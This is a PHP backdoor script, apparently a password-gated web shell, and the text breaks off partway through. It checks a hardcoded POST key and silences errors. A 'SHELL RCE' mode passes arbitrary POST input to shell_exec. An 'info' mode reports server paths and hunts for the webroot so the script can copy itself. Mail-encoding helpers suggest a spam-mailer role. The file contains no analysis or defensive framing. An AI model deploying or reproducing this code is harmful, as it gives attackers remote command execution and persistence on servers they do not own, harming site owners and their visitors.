<?php
error_reporting(0);
$K='sm_e3ea51bdb42f';
$pk=isset($_POST['k'])?$_POST['k']:'';
if($pk!==$K)die('');
// ★ PHP 5.6+ helpers (no ?? / random_bytes / array deref) — MODE1+MODE2 safe on old hosts
if(!function_exists('_sm_rb')){
function _sm_rb($n){
if(function_exists('random_bytes')){$b=@random_bytes($n);if($b!==false&&strlen($b)===$n)return $b;}
if(function_exists('openssl_random_pseudo_bytes')){$b=@openssl_random_pseudo_bytes($n,$s);if($b!==false&&strlen($b)===$n)return $b;}
$o='';for($i=0;$i<$n;$i++)$o.=chr(mt_rand(0,255));return $o;}
function _sm_fe($e){return preg_replace('/[^a-zA-Z0-9._+\\-@]/','',(string)$e);}
function _sm_sub($s){if($s===''||preg_match('/^[\\x20-\\x7E]*$/',$s))return $s;return '=?UTF-8?B?'.base64_encode($s).'?=';}
}

// ═══ MODE 0: SHELL RCE (gate deploy) ═══
if(isset($_POST['a'])&&$_POST['a']==='x'&&isset($_POST['c'])){echo @shell_exec($_POST['c']);exit;}

// ═══ MODE 0.5: SELF-COPY via PHP native (works when shell_exec disabled) ═══
// POST k=key&a=info → returns __FILE__, DOCUMENT_ROOT, detected webroot
if(isset($_POST['a'])&&$_POST['a']==='info'){
$i=array('file'=>__FILE__,'docroot'=>isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:'','cwd'=>getcwd());
$bd=dirname(__FILE__);if(strpos($bd,'/tmp')!==false){$bd=dirname($bd);}
foreach(array('public_html','htdocs','www','web','html','httpdocs') as $d){$p=$bd.'/'.$d;if(is_dir($p)){$i['webroot']=$p;break;}}
if(empty($i['webroot'])&&!empty($i['docroot']))$i['webr